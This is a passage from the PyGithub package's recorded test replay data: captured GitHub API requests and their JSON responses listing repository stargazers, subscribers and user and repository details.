e.gravatar.com/avatar/97b6ddbf90c2a4428e668691e112d096?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/zsiciarz","id":182194},{"gravatar_id":"71115a34d318e34f2090abd477aa4003","login":"waawal","avatar_url":"https://secure.gravatar.com/avatar/71115a34d318e34f2090abd477aa4003?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/waawal","id":961734},{"gravatar_id":"4152c08efb407dabedef5045cf3a13ae","login":"gregorynicholas","avatar_url":"https://secure.gravatar.com/avatar/4152c08efb407dabedef5045cf3a13ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/gregorynicholas","id":407650},{"gravatar_id":"0d830bf859a7ce5f6cb45bbee13672a3","login":"sente","avatar_url":"https://secure.gravatar.com/avatar/0d830bf859a7ce5f6cb45bbee13672a3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/sente","id":96457},{"gravatar_id":"8b9fc27476a9d0cb0dd32dc5a0967593","login":"richmiller55","avatar_url":"https://secure.gravatar.com/avatar/8b9fc27476a9d0cb0dd32dc5a0967593?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/richmiller55","id":704482},{"gravatar_id":"433a7fa3917a38691aa9914b61444875","login":"thouis","avatar_url":"https://secure.gravatar.com/avatar/433a7fa3917a38691aa9914b61444875?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/thouis","id":473043},{"gravatar_id":"5590032593192382075692ffe5d20dce","login":"mazubieta","avatar_url":"https://secure.gravatar.com/avatar/5590032593192382075692ffe5d20dce?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/mazubieta","id":522040},{"gravatar_id":"62608ffc2aacc300c1294670add616f9","login":"michaelhood","avatar_url":"https://secure.gravatar.com/avatar/62608ffc2aacc300c1294670add616f9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/michaelhood","id":359439},{"gravatar_id":"37a932b3abe212892173784736ed6b12","login":"engie","avatar_url":"https://secure.gravatar.com/avatar/37a932b3abe212892173784736ed6b12?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/engie","id":1247},{"gravatar_id":"793789919cd04697f099e9ef1ecd6de1","login":"jtriley","avatar_url":"https://secure.gravatar.com/avatar/793789919cd04697f099e9ef1ecd6de1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jtriley","id":46910},{"gravatar_id":"ffcbd195c843b902fcdaa9986a2a0116","login":"oangeor","avatar_url":"https://secure.gravatar.com/avatar/ffcbd195c843b902fcdaa9986a2a0116?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/oangeor","id":1707945},{"gravatar_id":"95d9145e903a668cff14194293f9d6ea","login":"coryking","avatar_url":"https://secure.gravatar.com/avatar/95d9145e903a668cff14194293f9d6ea?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/coryking","id":526250},{"gravatar_id":"6ac775a6679458663d13bcdf651112ea","login":"noddi","avatar_url":"https://secure.gravatar.com/avatar/6ac775a6679458663d13bcdf651112ea?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/noddi","id":197148},{"gravatar_id":"a62c07aeefe3d9cc2ba18861f7eeef7d","login":"alejo8591","avatar_url":"https://secure.gravatar.com/avatar/a62c07aeefe3d9cc2ba18861f7eeef7d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/alejo8591","id":1151850},{"gravatar_id":"5280f15cedf540b544eecc30fcf3027c","login":"omab","avatar_url":"https://secure.gravatar.com/avatar/5280f15cedf540b544eecc30fcf3027c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/omab","id":91022},{"gravatar_id":"4d4ea6148fef59dff9fa0fc8c309496a","login":"Carreau","avatar_url":"https://secure.gravatar.com/avatar/4d4ea6148fef59dff9fa0fc8c309496a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/Carreau","id":335567},{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/bilderbuchi","id":327442},{"gravatar_id":"a28254f42a1867eceafd3b4ddc7d5629","login":"schwa","avatar_url":"https://secure.gravatar.com/avatar/a28254f42a1867eceafd3b4ddc7d5629?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/schwa","id":20267},{"gravatar_id":"b765db0cc12b8e400caaff56c370c743","login":"rlerallut","avatar_url":"https://secure.gravatar.com/avatar/b765db0cc12b8e400caaff56c370c743?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/rlerallut","id":2106199},{"gravatar_id":"d9b44063c5b3d91195771fb663dc2e20","login":"PengHub","avatar_url":"https://secure.gravatar.com/avatar/d9b44063c5b3d91195771fb663dc2e20?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/PengHub","id":473448},{"gravatar_id":"781d78614b907aeb05ce830fe00588b8","login":"zoek1","avatar_url":"https://secure.gravatar.com/avatar/781d78614b907aeb05ce830fe00588b8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/zoek1","id":660973},{"gravatar_id":"ae8a2af3de601885a14bb71240e5d1a6","login":"xobb1t","avatar_url":"https://secure.gravatar.com/avatar/ae8a2af3de601885a14bb71240e5d1a6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/xobb1t","id":344095},{"gravatar_id":"ba6aba5790e7412dd4f6041c42a24c7e","login":"notgary","avatar_url":"https://secure.gravatar.com/avatar/ba6aba5790e7412dd4f6041c42a24c7e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/notgary","id":672656},{"gravatar_id":"abd8a1f2aa5d4899129458889b6f315b","login":"hattya","avatar_url":"https://secure.gravatar.com/avatar/abd8a1f2aa5d4899129458889b6f315b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/hattya","id":839237},{"gravatar_id":"e5bb54fb88ba91e789b2200cfc012f61","login":"ZebtinRis","avatar_url":"https://secure.gravatar.com/avatar/e5bb54fb88ba91e789b2200cfc012f61?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/ZebtinRis","id":424786},{"gravatar_id":"50a69763ef76d9b5567bf754e3d65af8","login":"aaronhall","avatar_url":"https://secure.gravatar.com/avatar/50a69763ef76d9b5567bf754e3d65af8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/aaronhall","id":264161},{"gravatar_id":"8c3c504e180e14ce1410cb384a10d759","login":"youngsterxyf","avatar_url":"https://secure.gravatar.com/avatar/8c3c504e180e14ce1410cb384a10d759?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/youngsterxyf","id":834231}] https GET api.github.com None /repos/PyGithub/PyGithub/stargazers?page=3 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '2117'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4984'), ('server', 'nginx/1.0.13'), ('last-modified', 'Fri, 07 Sep 2012 21:08:59 GMT'), ('connection', 'keep-alive'), ('etag', '"4077d03f95cfbcda281ad6df9d609ff6"'), ('link', '; rel="first", ; rel="prev"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 07 Sep 2012 23:25:35 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"gravatar_id":"6e77f95c96e16c0a1a96dccc7037d3b9","avatar_url":"https://secure.gravatar.com/avatar/6e77f95c96e16c0a1a96dccc7037d3b9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"ailling","url":"https://api.github.com/users/ailling","id":1420006},{"gravatar_id":"8707d63a44f6cc04e58a655f3df3105c","avatar_url":"https://secure.gravatar.com/avatar/8707d63a44f6cc04e58a655f3df3105c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"gregwjacobs","url":"https://api.github.com/users/gregwjacobs","id":1749292},{"gravatar_id":"ef80bc9208889fb5bc7270f59b2bffda","avatar_url":"https://secure.gravatar.com/avatar/ef80bc9208889fb5bc7270f59b2bffda?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"n0rmrx","url":"https://api.github.com/users/n0rmrx","id":2022188},{"gravatar_id":"fb3209e23e3f8c50da7ec2cd1a20531b","avatar_url":"https://secure.gravatar.com/avatar/fb3209e23e3f8c50da7ec2cd1a20531b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"awylie","url":"https://api.github.com/users/awylie","id":885330},{"gravatar_id":"0e5246dc215484496d9ba125c1142716","avatar_url":"https://secure.gravatar.com/avatar/0e5246dc215484496d9ba125c1142716?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"firstthumb","url":"https://api.github.com/users/firstthumb","id":66023},{"gravatar_id":"2c8bc92ef290c9d5ef7cfefa03302917","avatar_url":"https://secure.gravatar.com/avatar/2c8bc92ef290c9d5ef7cfefa03302917?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"joshbrand","url":"https://api.github.com/users/joshbrand","id":847243},{"gravatar_id":"3a90a2072fa32035016c5cc3c8584367","avatar_url":"https://secure.gravatar.com/avatar/3a90a2072fa32035016c5cc3c8584367?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"berndca","url":"https://api.github.com/users/berndca","id":466654}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetStargazersWithDates.txt0000644000175100001660000003561714756101563026413 0ustar00runnerdockerhttps GET api.github.com None /users/danvk {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '1295'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '13d09b732ebe76f892093130dc088652'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"646d82e27d1cb55020ba0b6c901d15ce"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4915'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '44AE6A38:AB2B:3D4623E:561EA76C'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('last-modified', 'Wed, 07 Oct 2015 13:43:17 GMT'), ('date', 'Wed, 14 Oct 2015 19:05:17 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1444851351')] {"login":"danvk","id":98301,"avatar_url":"https://avatars.githubusercontent.com/u/98301?v=3","gravatar_id":"","url":"https://api.github.com/users/danvk","html_url":"https://github.com/danvk","followers_url":"https://api.github.com/users/danvk/followers","following_url":"https://api.github.com/users/danvk/following{/other_user}","gists_url":"https://api.github.com/users/danvk/gists{/gist_id}","starred_url":"https://api.github.com/users/danvk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danvk/subscriptions","organizations_url":"https://api.github.com/users/danvk/orgs","repos_url":"https://api.github.com/users/danvk/repos","events_url":"https://api.github.com/users/danvk/events{/privacy}","received_events_url":"https://api.github.com/users/danvk/received_events","type":"User","site_admin":false,"name":"Dan Vanderkam","company":null,"blog":"http://danvk.org","location":"New York, NY","email":"danvdk@gmail.com","hireable":null,"bio":null,"public_repos":69,"public_gists":76,"followers":103,"following":3,"created_at":"2009-06-23T20:44:04Z","updated_at":"2015-10-07T13:43:17Z","private_gists":0,"total_private_repos":0,"owned_private_repos":0,"disk_usage":269679,"collaborators":0,"plan":{"name":"free","space":976562499,"collaborators":0,"private_repos":0}} https GET api.github.com None /repos/danvk/comparea {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '4432'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '065b43cd9674091fec48a221b420fbb3'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"2cc0aa4e78ef70f886d92ac338e3e22b"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4914'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '44AE6A38:AB2F:94E8736:561EA76D'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('last-modified', 'Sat, 09 May 2015 19:14:45 GMT'), ('date', 'Wed, 14 Oct 2015 19:05:17 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1444851351')] {"id":22370702,"name":"comparea","full_name":"danvk/comparea","owner":{"login":"danvk","id":98301,"avatar_url":"https://avatars.githubusercontent.com/u/98301?v=3","gravatar_id":"","url":"https://api.github.com/users/danvk","html_url":"https://github.com/danvk","followers_url":"https://api.github.com/users/danvk/followers","following_url":"https://api.github.com/users/danvk/following{/other_user}","gists_url":"https://api.github.com/users/danvk/gists{/gist_id}","starred_url":"https://api.github.com/users/danvk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danvk/subscriptions","organizations_url":"https://api.github.com/users/danvk/orgs","repos_url":"https://api.github.com/users/danvk/repos","events_url":"https://api.github.com/users/danvk/events{/privacy}","received_events_url":"https://api.github.com/users/danvk/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/danvk/comparea","description":"Compare geographic features","fork":false,"url":"https://api.github.com/repos/danvk/comparea","forks_url":"https://api.github.com/repos/danvk/comparea/forks","keys_url":"https://api.github.com/repos/danvk/comparea/keys{/key_id}","collaborators_url":"https://api.github.com/repos/danvk/comparea/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/danvk/comparea/teams","hooks_url":"https://api.github.com/repos/danvk/comparea/hooks","issue_events_url":"https://api.github.com/repos/danvk/comparea/issues/events{/number}","events_url":"https://api.github.com/repos/danvk/comparea/events","assignees_url":"https://api.github.com/repos/danvk/comparea/assignees{/user}","branches_url":"https://api.github.com/repos/danvk/comparea/branches{/branch}","tags_url":"https://api.github.com/repos/danvk/comparea/tags","blobs_url":"https://api.github.com/repos/danvk/comparea/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/danvk/comparea/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/danvk/comparea/git/refs{/sha}","trees_url":"https://api.github.com/repos/danvk/comparea/git/trees{/sha}","statuses_url":"https://api.github.com/repos/danvk/comparea/statuses/{sha}","languages_url":"https://api.github.com/repos/danvk/comparea/languages","stargazers_url":"https://api.github.com/repos/danvk/comparea/stargazers","contributors_url":"https://api.github.com/repos/danvk/comparea/contributors","subscribers_url":"https://api.github.com/repos/danvk/comparea/subscribers","subscription_url":"https://api.github.com/repos/danvk/comparea/subscription","commits_url":"https://api.github.com/repos/danvk/comparea/commits{/sha}","git_commits_url":"https://api.github.com/repos/danvk/comparea/git/commits{/sha}","comments_url":"https://api.github.com/repos/danvk/comparea/comments{/number}","issue_comment_url":"https://api.github.com/repos/danvk/comparea/issues/comments{/number}","contents_url":"https://api.github.com/repos/danvk/comparea/contents/{+path}","compare_url":"https://api.github.com/repos/danvk/comparea/compare/{base}...{head}","merges_url":"https://api.github.com/repos/danvk/comparea/merges","archive_url":"https://api.github.com/repos/danvk/comparea/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/danvk/comparea/downloads","issues_url":"https://api.github.com/repos/danvk/comparea/issues{/number}","pulls_url":"https://api.github.com/repos/danvk/comparea/pulls{/number}","milestones_url":"https://api.github.com/repos/danvk/comparea/milestones{/number}","notifications_url":"https://api.github.com/repos/danvk/comparea/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/danvk/comparea/labels{/name}","releases_url":"https://api.github.com/repos/danvk/comparea/releases{/id}","created_at":"2014-07-29T07:02:43Z","updated_at":"2015-05-09T19:14:45Z","pushed_at":"2015-04-19T00:30:46Z","git_url":"git://github.com/danvk/comparea.git","ssh_url":"git@github.com:danvk/comparea.git","clone_url":"https://github.com/danvk/comparea.git","svn_url":"https://github.com/danvk/comparea","homepage":null,"size":24675,"stargazers_count":6,"watchers_count":6,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":3,"mirror_url":null,"open_issues_count":23,"forks":3,"open_issues":23,"watchers":6,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"network_count":3,"subscribers_count":1} https GET api.github.com None /repos/danvk/comparea/stargazers {'Authorization': 'Basic login_and_password_removed', 'Accept': 'application/vnd.github.v3.star+json', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '5547'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '2c18a09f3ac5e4dd1e004af7c5a94769'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"83247ceb0b43ff0c9c1d97c5cc427ceb"'), ('access-control-allow-credentials', 'true'), ('status', '200 OK'), ('x-ratelimit-remaining', '4913'), ('x-github-media-type', 'github.v3; param=star; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '44AE6A38:AB2F:94E8764:561EA76D'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 14 Oct 2015 19:05:17 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1444851351')] [{"starred_at":"2014-08-13T19:22:05Z","user":{"login":"sAlexander","id":20961,"avatar_url":"https://avatars.githubusercontent.com/u/20961?v=3","gravatar_id":"","url":"https://api.github.com/users/sAlexander","html_url":"https://github.com/sAlexander","followers_url":"https://api.github.com/users/sAlexander/followers","following_url":"https://api.github.com/users/sAlexander/following{/other_user}","gists_url":"https://api.github.com/users/sAlexander/gists{/gist_id}","starred_url":"https://api.github.com/users/sAlexander/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sAlexander/subscriptions","organizations_url":"https://api.github.com/users/sAlexander/orgs","repos_url":"https://api.github.com/users/sAlexander/repos","events_url":"https://api.github.com/users/sAlexander/events{/privacy}","received_events_url":"https://api.github.com/users/sAlexander/received_events","type":"User","site_admin":false}},{"starred_at":"2014-10-15T05:02:30Z","user":{"login":"ThomasG77","id":642120,"avatar_url":"https://avatars.githubusercontent.com/u/642120?v=3","gravatar_id":"","url":"https://api.github.com/users/ThomasG77","html_url":"https://github.com/ThomasG77","followers_url":"https://api.github.com/users/ThomasG77/followers","following_url":"https://api.github.com/users/ThomasG77/following{/other_user}","gists_url":"https://api.github.com/users/ThomasG77/gists{/gist_id}","starred_url":"https://api.github.com/users/ThomasG77/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ThomasG77/subscriptions","organizations_url":"https://api.github.com/users/ThomasG77/orgs","repos_url":"https://api.github.com/users/ThomasG77/repos","events_url":"https://api.github.com/users/ThomasG77/events{/privacy}","received_events_url":"https://api.github.com/users/ThomasG77/received_events","type":"User","site_admin":false}},{"starred_at":"2015-04-14T15:22:40Z","user":{"login":"therusek","id":4291399,"avatar_url":"https://avatars.githubusercontent.com/u/4291399?v=3","gravatar_id":"","url":"https://api.github.com/users/therusek","html_url":"https://github.com/therusek","followers_url":"https://api.github.com/users/therusek/followers","following_url":"https://api.github.com/users/therusek/following{/other_user}","gists_url":"https://api.github.com/users/therusek/gists{/gist_id}","starred_url":"https://api.github.com/users/therusek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/therusek/subscriptions","organizations_url":"https://api.github.com/users/therusek/orgs","repos_url":"https://api.github.com/users/therusek/repos","events_url":"https://api.github.com/users/therusek/events{/privacy}","received_events_url":"https://api.github.com/users/therusek/received_events","type":"User","site_admin":false}},{"starred_at":"2015-04-29T00:09:40Z","user":{"login":"athomann","id":605577,"avatar_url":"https://avatars.githubusercontent.com/u/605577?v=3","gravatar_id":"","url":"https://api.github.com/users/athomann","html_url":"https://github.com/athomann","followers_url":"https://api.github.com/users/athomann/followers","following_url":"https://api.github.com/users/athomann/following{/other_user}","gists_url":"https://api.github.com/users/athomann/gists{/gist_id}","starred_url":"https://api.github.com/users/athomann/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/athomann/subscriptions","organizations_url":"https://api.github.com/users/athomann/orgs","repos_url":"https://api.github.com/users/athomann/repos","events_url":"https://api.github.com/users/athomann/events{/privacy}","received_events_url":"https://api.github.com/users/athomann/received_events","type":"User","site_admin":false}},{"starred_at":"2015-04-29T14:26:46Z","user":{"login":"jcapron","id":2346847,"avatar_url":"https://avatars.githubusercontent.com/u/2346847?v=3","gravatar_id":"","url":"https://api.github.com/users/jcapron","html_url":"https://github.com/jcapron","followers_url":"https://api.github.com/users/jcapron/followers","following_url":"https://api.github.com/users/jcapron/following{/other_user}","gists_url":"https://api.github.com/users/jcapron/gists{/gist_id}","starred_url":"https://api.github.com/users/jcapron/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jcapron/subscriptions","organizations_url":"https://api.github.com/users/jcapron/orgs","repos_url":"https://api.github.com/users/jcapron/repos","events_url":"https://api.github.com/users/jcapron/events{/privacy}","received_events_url":"https://api.github.com/users/jcapron/received_events","type":"User","site_admin":false}},{"starred_at":"2015-05-09T19:14:45Z","user":{"login":"JoePython1","id":307737,"avatar_url":"https://avatars.githubusercontent.com/u/307737?v=3","gravatar_id":"","url":"https://api.github.com/users/JoePython1","html_url":"https://github.com/JoePython1","followers_url":"https://api.github.com/users/JoePython1/followers","following_url":"https://api.github.com/users/JoePython1/following{/other_user}","gists_url":"https://api.github.com/users/JoePython1/gists{/gist_id}","starred_url":"https://api.github.com/users/JoePython1/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JoePython1/subscriptions","organizations_url":"https://api.github.com/users/JoePython1/orgs","repos_url":"https://api.github.com/users/JoePython1/repos","events_url":"https://api.github.com/users/JoePython1/events{/privacy}","received_events_url":"https://api.github.com/users/JoePython1/received_events","type":"User","site_admin":false}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetSubscribers.txt0000644000175100001660000000772414756101563024735 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/subscribers {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '3327'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4956'), ('server', 'nginx/1.0.13'), ('last-modified', 'Fri, 07 Sep 2012 12:01:21 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"ab16ed4c5e852882d2d1a3887c3cb606"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Fri, 07 Sep 2012 23:46:43 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146},{"gravatar_id":"e8f8081fe45c1b793c288ecd1c1e932e","avatar_url":"https://secure.gravatar.com/avatar/e8f8081fe45c1b793c288ecd1c1e932e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"equus12","url":"https://api.github.com/users/equus12","id":1647505},{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"bilderbuchi","url":"https://api.github.com/users/bilderbuchi","id":327442},{"gravatar_id":"4a70a247b4f222894f6b9861e40f733d","avatar_url":"https://secure.gravatar.com/avatar/4a70a247b4f222894f6b9861e40f733d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"hcilab","url":"https://api.github.com/users/hcilab","id":1610572},{"gravatar_id":"abd8a1f2aa5d4899129458889b6f315b","avatar_url":"https://secure.gravatar.com/avatar/abd8a1f2aa5d4899129458889b6f315b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"hattya","url":"https://api.github.com/users/hattya","id":839237},{"gravatar_id":"0e5246dc215484496d9ba125c1142716","avatar_url":"https://secure.gravatar.com/avatar/0e5246dc215484496d9ba125c1142716?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"firstthumb","url":"https://api.github.com/users/firstthumb","id":66023},{"gravatar_id":"8707d63a44f6cc04e58a655f3df3105c","avatar_url":"https://secure.gravatar.com/avatar/8707d63a44f6cc04e58a655f3df3105c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"gregwjacobs","url":"https://api.github.com/users/gregwjacobs","id":1749292},{"gravatar_id":"bb0e7d8e63591b6b908a5a21b3e75878","avatar_url":"https://secure.gravatar.com/avatar/bb0e7d8e63591b6b908a5a21b3e75878?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"sagarsane","url":"https://api.github.com/users/sagarsane","id":667114},{"gravatar_id":"bf75ed46f2034fe6cc1075ce888084d8","avatar_url":"https://secure.gravatar.com/avatar/bf75ed46f2034fe6cc1075ce888084d8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"liang456","url":"https://api.github.com/users/liang456","id":1673318},{"gravatar_id":"3a90a2072fa32035016c5cc3c8584367","avatar_url":"https://secure.gravatar.com/avatar/3a90a2072fa32035016c5cc3c8584367?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"berndca","url":"https://api.github.com/users/berndca","id":466654},{"gravatar_id":"1517ed584458ccf83e03f5d77d9699d7","avatar_url":"https://secure.gravatar.com/avatar/1517ed584458ccf83e03f5d77d9699d7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"Lyloa","url":"https://api.github.com/users/Lyloa","id":1131432}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetTeams.txt0000644000175100001660000000722514756101563023514 0ustar00runnerdockerhttps 